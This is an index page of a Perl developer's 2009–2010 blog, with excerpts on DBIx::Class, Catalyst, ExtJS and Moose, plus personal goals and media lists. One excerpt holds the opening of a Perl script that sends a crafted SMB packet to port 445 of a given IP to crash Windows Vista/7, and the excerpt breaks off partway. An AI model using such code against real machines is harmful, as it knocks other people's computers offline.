New stuff in DBIx::Class::Helpers 2.00200

A new release of the resplendent Perl ORM DBIx::Class means new release of DBIx::Class::Helpers The ResultSet::Random helper had the wrong function used for MySQL. That was fixed thanks to an RT from pldoh. get_namespace_parts from the util package was unnecessarily strict. Thanks to melo for the prodding to do that. I refactored some of the code in core DBIx::Class so that I can more easily detect is_numeric with Row::NumifyGet, instead of requiring the user to specify it.

Posted Sun, Feb 7, 2010

Do Passwords Right

You all know not to put your passwords into the database in plaintext. Catalyst and DBIx::Class::EncodedColumn make doing this super easy and completely secure. First off, you might want to check out the wikipedia article about cryptographic hash functions. The gist of it though is this: a password stored in plain text is obviously compromised if the passwords file gets into the hands of evildoers. You can “hash” the passwords and they are now harder for the attackers to transform into plain-text.

Posted Thu, Feb 4, 2010

An Exposition on Specific Time Saving Code

I write a lot of ExtJS grids at work. I have written JavaScript classes for our Ext grids that generate as much as possible automatically, but the actual column definitions of the grids are almost always unique. The project I am on now is nearing our first real deploy, and we’re late, so things have been really, really busy. It wasn’t until recently that I realized just how much time I spent working on grids and their related records (representation of the rows of a grid.

Posted Fri, Jan 29, 2010

Template.Tiny

(Sorry if you heard this already :-) ) At $work we do as much “view” type code as we can in JavaScript with the ExtJS framework. I have personally found it to be a great framework to work with, although often it is lacking in the non-UI department. One thing that at first I really liked about Ext was their Template and XTemplate classes. But as time went on I got more and more annoyed with those modules.

Posted Tue, Jan 26, 2010

Solution on how to serialize dates nicely

So after discussing this problem with the inimitable ribasushi we came up with a good solution. It’s not quite generic, but it solves the current problem very nicely. First, we subclass DateTime: package MTSI::DateTime; use strict; use warnings; use parent 'DateTime'; sub TO_JSON { shift->ymd } 1; Next, in the base class we use for all of our Result classes in our Schema, we override _inflate_to_datetime to rebless the returned value into our subclass:

Posted Thu, Jan 21, 2010

What is the right way to serialize X object generically?

Background: dates in our database automatically get “inflated” to DateTime objects. That works pretty much perfectly. We use JSON to serialize all of our objects to go to our JavaScript stuff on the client side. The way that works is basically like the following: # this should probably be called something more generic, like serialize # but this decision was made by someone else and I'm not going to # spend time solving that for now sub TO_JSON { my $self = shift; return { map +( $_ => $self->$_), qw{id name when_created} }; } which expands to:

Posted Thu, Jan 21, 2010

So Long IronMan....Sortof...

The IronMan initiative is awesome! No one should misunderstand that. But I am getting WAY TOO MANY things in my feed reader. So here’s my solution: unsubscribe from from the vanilla feed. Add the OPML to my feed reader and then unsubscribe from the non-english and spam feeds work on the IronMan code base to add another feed of when people add their feed, and then subscribe to that so I know when people join profit!

Posted Wed, Jan 20, 2010

Latest additions to DBIC::Helpers

Yesterday I added a basic but really nice helper to DBIx::Class::Helpers. Say hello to DBIx::Class::Helper::Row::NumifyGet. The reasoning is that often we have bit fields in our database and when we serialize them with JSON we get something like the following: { 'bit_field':'0'} JavaScript has the whole truthy concept like Perl except that in JavaScript “0” is true, while 0 is false. So NumifyGet will automatically “numify” columns with the is_numeric field set to true.

Posted Thu, Jan 14, 2010

Getting portable

One of my Goals for the New Year was to finish my current project at work. One thing that keeps me from working more on my project is that working from home is pretty painful. So I decided that I’d do all that I could to do as much work as possible from home without needing to be VPN’d in to work. The primary hurdle was to figure out a way to get all of the data from our shared dev server (SQL Server 2005) to something I could use at home.

Posted Wed, Jan 13, 2010

Goals Update

This week I… paid of 25% of my college loans (!!!) scheduled a pickup from goodwill for clothes to get rid of next week went in to work on Saturday to get caught up on some stuff or our project and planned a dinner for myself and friends for next week that I’ll be cooking A good start if I may say so myself.

Posted Mon, Jan 11, 2010

Goals for the New Year

It’s been 2010 for almost 10 days now. I have had this list of goals for the new year but I wanted to give them time to gestate before I posted them. I’m pretty happy with the goals and I have high hopes to be able to pull them all off. Not all of them are technical, but a good chunk are. Work Stuff: Finish Work project by end of Feb (no other tech stuff until then) Get our javascript “framework” in better shape (docs, it’s own repo) Perl Stuff:

Posted Sat, Jan 9, 2010

Processing is sweet!

I got The Processing Bookfor Christmas and I finished it this morning. It’s been a lot of fun going through the book and I learned a ton of different things. First off, book review: The authors did exceptionally well at balancing six different topics: Programming The Processing API Introduction to Algorithms for Software Based Art Introduction to Software Based Art Synthesis sections which contain complex Processing examples Survey of existing art made with software The programming stuff was pretty basic (just touched on higher level OO near the end) but the creators of Processing (who also wrote this book) did a good job at making the easy stuff easy.

Posted Wed, Dec 30, 2009

WebCritic Revisited

As I mentioned in my last post I rewrote one of my personal apps (WebCritic) to use Web::Simple over the Thanksgiving holiday. It was exciting, writing one of the first apps to use the brand new Web::Simple. Of course, that also meant that I had to read incomplete doc, deal with examples that didn’t work, and in general just deal with the whole hassle of an immature project. Of course that was rewarding though, because I got a chance to help beef up the doc some, fix the broken examples, and convince mst to add a basic feature that will allow me to run the server standalone.

Posted Mon, Nov 30, 2009

And a Great Cheer Erupted from The Land!

Guys! Web::Simple got released today! I fully intend on porting my personal CGIApp projects to Web::Simple immediately after writing this post. It really allows for a lot more possibilities, and not just the super sexy dispatching that is documented. One thing I found interesting is that mst didn’t document the tags stuff anywhere at all. There used to be examples, but they seem to be gone. For a taste of those, see the tests.

Posted Wed, Nov 25, 2009

JAP(5|6)H

Surely you, dear reader, already know what this post is about. But on the off-chance that you don’t, make sure you read these posts from people smarter, more connected, and more balanced than I. You may remember the beginnings of the technical posts on this blog. They were mostly sub-par because I had not begun read my articles before posting. I also had the bad habit of posting more than once a day.

Posted Thu, Nov 19, 2009

Writing vs. Writing

I enjoy updating this blog. Part of it is that I like writing, and part of it is that I kinda feel famous with all these great coders reading the words that I write. But I like programming better. That is why lately I’ve been posting less and coding more. In posting modules to CPAN I’ve learned a lot of different things. First off, testing is easy. But before you test you have to set up your test environment.

Posted Thu, Oct 29, 2009

Missing In Action

So I haven’t posted for kindav a long time. I have a lot planned to write about, but first, the reason it’s been so long and the solution to that problem. You may remember my post regarding printing etc. When I told my boss about the large response I got, I think I miscommunicated and somehow heard that he wanted us to try a few more solutions before we hired someone else.

Posted Thu, Oct 22, 2009

SCIENCE (aka benchmarking)

Recently we were doing something at work where we needed to get to a location deep in an HoH. We already had a solution that worked alright, but it was copy pasted in a couple places, it wasn’t tested, and it wasn’t documented. So I looked around on CPAN and found Hash::Path. It did exactly what we wanted, but the code was recursive instead of iterative (like our solution.) Because we weren’t going too deep I just installed it and figured I’d look at the actual differences later.

Posted Fri, Oct 2, 2009

Game Short List

Chrono Trigger Skies of Arcadia Braid Super Mario World Super Metroid Sonic The Hedgehog 3 + Knuckles

Posted Sun, Sep 20, 2009

Movie Short List

High Fidelity Boondock Saints This Is Spinal Tap A Mighty Wind Fight Club Leon/The Professional The Life Aquatic with Steve Zissou Pulp Fiction Stranger than Fiction Children of Men The Prestige Little Miss Sunshine Orange County Snatch Lock, Stock & Two Smoking Barrels Formula 51 Reservoir Dogs The Usual Suspects American Beauty Being John Malkovich Magnolia The Big Lebowski Donnie Darko Fargo

Posted Sun, Sep 20, 2009

Album Short List

(The following includes affiliate links.) Ladyhawkeby Ladyhawke, Review Anywhere I Lay My Headby Scarlett Johansson, Review Furrby Blitzen Trapper, Review Braveby Marillion, Review Tallahasseeby The Mountain Goats, Review Ultravisitorby SquarePusher, Review Good News For People Who Love Bad Newsby Modest Mouse, Review Neon Bible by The Arcade Fire Santogold by Santogold Saturday Youth by M83 Scary Monsters by David Bowie Sound of Silver by LCD Soundsystem begin to hope by Regina Spektor Stop Making Sense by The Talking Heads The End is Beautiful by Echolyn The Hidden Land by Bela Fleck and The Flecktones Time to Pretend EP by MGMT Sailing The Seas of Cheese by Primus Respond, Respond by Exit Clov Remedy Lane by Pain of Salvation Plans by Death Cab for Cutie Picaresque by The Decemberists Perelandra by Glass Hammer Like Drawing Blood by Gotye Let’s Dance by David Bowie Jeanne D’Arc by Tangerine Dream Hot Fuss by The Killers Rockin’ The Suburbs by Ben Folds Magical Mystery Tour by The Beatles Colma by Buckethead Red by King Crimson Red by Datarock Day for Night by Spock’s Beard A Momentary Lapse of Reason by Pink Floyd

Posted Sun, Sep 20, 2009

Short Lists

Album Short List Movie Short List Game Short List

Posted Sun, Sep 20, 2009

Perl, PostScript, PDF, Printing, and Money

I’ve been pretty busy/distracted lately. Normally I try to post 3 times a week about the cool things that I’m doing, but I haven’t this week because what I am doing isn’t that cool! Basically I started working on the printing subsection of our app at work and it’s not looking like a lot of fun. First let me explain what makes it different than anything we’ve done before. In normal web dev you have the server generate html or maybe a pdf, send that to the user and let them print it.

Posted Fri, Sep 18, 2009

My New Hammers

For the past 6 months or so I’ve been doing a lot more design and a lot less coding (due to design and a few other things) and it’s interesting to me what the results have been. I remember when I got excited by grokking the concepts behind map and reduce. Don’t get me wrong, I am most happy with map and reduce, but to me they are great ways to be terse and clear.

Posted Fri, Sep 11, 2009

Crash your roommate's windows computer WOOO!!!

Have you heard? You can crash Vista and Windows 7 really easily with the following super basic code! (Tested 3x on roomies computer) #!perl my $ip = shift or die 'Please pass the IP Address to crash as a parameter to this program'; use IO::All; my $io = io("$ip:445"); my $foo = "\x00\x00\x00\x90". # Begin SMB header: Session message "\xff\x53\x4d\x42". # Server Component: SMB "\x72\x00\x00\x00". # Negociate Protocol "\x00\x18\x53\xc8". # Operation 0x18 & sub 0xc853 "\x00\x23".

Posted Wed, Sep 9, 2009

Moose Test Refactoring

I’ve taken care of a significant portion of the refactoring that I’m doing to disable meta-tests for the Moose test suite. I’ve done all the tests up until the 100 series (which are examples.) The following is an example of how it’s done: #!/usr/bin/perl use strict; use warnings; use lib 't/lib'; use Test::More tests => 23; use Test::Exception; use MetaTest; { package Foo; use Moose; use Moose::Util::TypeConstraints; } skip_meta { can_ok('Foo', 'meta'); isa_ok(Foo->meta, 'Moose::Meta::Class'); } 2; meta_can_ok('Foo', 'meta', '.

Posted Mon, Sep 7, 2009

Biking To Work

I’ve waited nearly a work week to make sure I don’t post this prematurely, but it’s been four days now and I’m pretty sure I can say that from now on, in the regular case I’ll be riding my bike to work. There are certainly safety issues, since I live on the outskirts of Dallas, but I’ve done a lot research to make safe choices. I haven’t done everything he says on that site, but mostly that’s because I don’t want to ride on streets instead of sidewalks on big roads.

Posted Fri, Sep 4, 2009

Exceptions with Perl, what a joy!

Today at work I had to do some validation that we haven’t yet had to do for my project at work. I’ve always thought that for validations exceptions are the way to go. I’ll explain everything I did so you guys can benefit/critique. First off, I used Exception::Class to create my exception classes: package ACD::Exceptions; use strict; use warnings; use Exception::Class ( 'ACD::Exception::InvalidBinBox' => { description => 'Invalid Bin-Box', fields => [qw{bin box}], }, 'ACD::Exception::UserException' => { fields => 'message', }, ); use Moose::Util::TypeConstraints; class_type 'ACD::Exception::InvalidBinBox'; class_type 'ACD::Exception::UserException'; no Moose::Util::TypeConstraints; 1; Also note the use of Moose::Util::TypeConstraints; we’ll come back to why I did that in a bit.

Posted Thu, Sep 3, 2009

On Moose and Speed

Today the question was asked: “To Moose or Not to Moose?” The article is fairly well written, but it seems to me that the comments are not exactly educated. Here is the main one this is in response to: I’d try Mouse too. Unless you’re doing something funky I’d be surprised if it’s more than a 1 letter change to your source code. First off, here is a quote from the POD:

Posted Wed, Sep 2, 2009

"Turns out there really are Computer Gremlins!" redux

So after some experimenting at work I found out what the culprit of my previous post was. I still have no idea why some parts of the code changed, and others didn’t. I imagine that part of that had to do with bad technique (see Scientific Method.) Anyway, it has something to do with the extremely sketchtowne Catalyst::Restarter::Win32. I’m not criticizing Rolsky’s code here, it’s just the nature of using Perl 5 in Windows.

Posted Tue, Sep 1, 2009

Turns out there really are Computer Gremlins!

Ok, this is just too crazy to not record and relate. By now anyone who has read much of my blog or interacted with me should know that I use a significant amount of javascript on my current project at work. Because I like to keep everything nicely organized, 95% of the time each class has it’s own file. That means I have to tell the server every time I add a new class.

Posted Thu, Aug 27, 2009

Why should I use an ORM?

At work I tend to play an…Evangelical role? I tend to experiment with various technologies, get sold on them, and then sell them to coworkers. Examples: Apache, DBIx::Class, CGIApp, and lately Catalyst. So I typically find various ways that the new tool helps make my job easier and tell people about that. After they believe me, I then educate them about various nuances and whatnot of the tool. Eventually this will happen with git, when it doesn’t suck so much with Windows.

Posted Thu, Aug 27, 2009

Brief Addendum: Send Email

Ok, so for some reason I left out sending email from last nights’ post. Here it is: sometimes people forget about RT, or they have so many RT’s that they don’t know which ones are fixed and broken. Well, a small nudge via email can convince them to fix a longstanding bug. Of course, if it’s reasonable sending a patch wouldn’t hurt either…

Posted Wed, Aug 26, 2009

How to Help without being a Rockstar

I think a lot of people who use perl have the idea that to help the perl ecosystem be they must be rockstars who churn out exorbitant amounts of code that is well tested and well factored. That is just not true! The easiest thing one can do to help out in the perl ecosystem is to create tickets for any issues you have with modules on RT. It’s not really that much of a hassle and it can help authors out a lot.

Posted Wed, Aug 26, 2009

reCAPTCHA

Normally I opt to eschew metablog post (how meta is that?!) but I figured this deserves a brief explanation. I have been getting more and more spam lately. Fortunately Akismet usually keeps humans from seeing it, but Akismet has also kept back plenty of spam too. So I decided to go with the more powerful reCAPTCHA for comments from now on. I know it’s a hassle, but it could be worse.

Posted Tue, Aug 25, 2009

Concert of the Month: Bat for Lashes

Last night (Thursday) I saw Bat for Lasheslive. It was a really good concert! You may have heard about Bat for Lashes from their awesome, creepy music video from 2007. I got the album (Fur and Gold) after hearing that song and was mostly disappointed. The other songs just didn’t seem to have the depth and feel as that song. So then recently this year I heard Daniel on Last.fm.

Posted Sat, Aug 22, 2009

Finding a sweet domain with perl

So yesterday I spent a few hours trying to find a cool domain for the project I am working on in my free time. (By the way, raptorprey.com is open.) After looking at lots of various options, I decided that it would be really cool to get a domain of a latin work with the .US TLD. Too bad I don’t know latin right? So I went online and found some cheesy one page latin dictionary that had a few thousand words.

Posted Thu, Aug 20, 2009

Metrics + Debug!

The project I am working on at work is going to be deployed soon, so today I worked on some of those things that need to be taken care of before the deploy. One of those things was changing our gigantic list of javascript files into a single file with minimal hassle. I actually tried to implement it myself, but that was silly. A simple search on CPAN for catalyst javascript yields two promising results.

Posted Wed, Aug 19, 2009

Perl 6 in Perl 5 FOR THE WIN

Today I wanted to generate a list from another list. Typically I would use map for this, but I wanted to iterate over two elements at a time, instead of one at a time. (A lot of people said to use natatime from List::MoreUtils, over and over. They didn’t read my question very carefully, especially since I specifically said I wanted natatime but with map.) Anyway, mst pointed out Perl6::Gather, which works perfectly for this situation!

Posted Tue, Aug 18, 2009

The Beauty of Code Reuse

I’m probably preaching to the choir here, but it must be said: code reuse is most excellent! Today I got a somewhat complex feature working for our customer, and almost all of it was features I’d already written, and due to the organization of our system I could easily reuse most of the code. Our customer fixes airplane parts. When they fix a part they need to document every single thing they did to the part.

Posted Fri, Aug 14, 2009

CPAN Ratings Day

You may have noticed that there really aren’t a lot of CPAN Ratings out there currently, but you have a chance to help that. The past couple of weeks I’ve done two or three CPAN ratings every Thursday. Just go to CPAN Ratings, get an account, and rate modules that you are a fan of. Generally criticizing modules in active development is a bad idea since bugs should really go to rt.

Posted Thu, Aug 13, 2009

Dallas.p6m: August 2009

So we had another Dallas.p6m tonight. It was fairly laid back compared to some other ones, but it was still a lot of fun. I did a “talk” on the Perl 6 object model, which I didn’t prepare enough for, so it was mostly me asking Patrick some basic questions about stuff I could relate to Moose. So here is the skinny on that stuff: has in Moose is a method, that ties a string to some attributes.

Posted Wed, Aug 12, 2009

On Rewrites, or Why One Should Read as Little Code as Possible

The project I am working on right now is rewriting a large, mostly CRUD application. The current app (second generation) is all VB6 and Stored Procedures. We are making the app entirely web based with DBIx::Class for the brunt of the backend and ExtJS for the UI. There are a few other technologies involved, but they should remain fairly light and unobtrusive. As we’ve designed our code I’ve made an effort to only look at the inputs and outputs of the original code, to avoid using any existing design mistakes that have already been made.

Posted Fri, Aug 7, 2009

Mediums and Messages

When you want to get help on the internet, it’s not just what you say and how you say it; it’s also where you say it. I use three different communication mediums on a day-to-day basis to get help with the various toolkits I use and only a couple of them overlap in medium. There are inherent benefits and drawbacks to each medium, but generally you don’t have a choice in which medium to use for a given project.

Posted Thu, Aug 6, 2009

Initial Catalyst Impressions

I’ve been using Catalyst at home for nearly six weeks now and I guess two weeks at work. I feel that now is a good time for me to list some of my impressions. The angle that I am coming from is mostly CGI::Application, which means very bare bones. The first thing that I got for free with Catalyst was configuration file support. Less than a week after switching to Catalyst our customer asked me if we could change the database connection easily.

Posted Wed, Aug 5, 2009

For Arcanez

So I have some cool posts enqueue but they are not done and longish, so I figured I’d post about this bug in the interaction between Perl 5.10’s switch statement and List::Util’s first method.



Posted Thu, Jul 30, 2009

PerlMonks Getting Hacked and My Solution

So some of you may heard that PerlMonks got hacked recently. Before I get into my (not entirely unique) solution, I want to express how upset I am at PerlMonks about this. I am not going to blame them for getting hacked. But storing passwords in plaintext? I would have thought better from a developer community, especially one as entrenched in web applications as the Perl community. I am dumb for using the same password in a lot of websites, but I’m upset that one of the ones I trusted (level 2 out of 3 password) violated that trust.

Posted Thu, Jul 30, 2009

OpenID with Catalyst and more

Blah blah blah perl marketing navel gazing wasting time blah blah blah perl is alive blah blah blah. Ok, now that we’re done wasting time, here’s how to do something that (hopefully) will be useful! I am working on a small Web Application in my increasingly rare spare time, and I decided I’d like to use OpenID for the authentication. Because of the structure of Catalyst applications this isn’t exactly easy as pie, but if you read this post it will be for you!

Posted Wed, Jul 29, 2009

Concert of the Month: cKy

I saw CKY this past Friday and it was a most excellent concert. I saw two of their three openers. The first one was vanilla boring metal. Only worth mentioning for completion. The second band was Graveyard. They were very interesting. I think they are classified as Blues Metal. It sounds ridiculous, but the music was alright! They were reminiscent of a Metal version of the Allman Brothers. Certainly worth checking out.

Posted Tue, Jul 28, 2009

Public Todo

These are the myriad things I need to do in my public, non-work programming life: Finish CGI::Application::Plugin::DBIx::Class Finish Moose Test Refactor Publish Business Card Release my current Catalyst Project Language::Keyword::Gather Language::Syntax::Junction Begin DBIx::ErrorGenerator (convert DBI errors to exception objects)

Posted Fri, Jul 24, 2009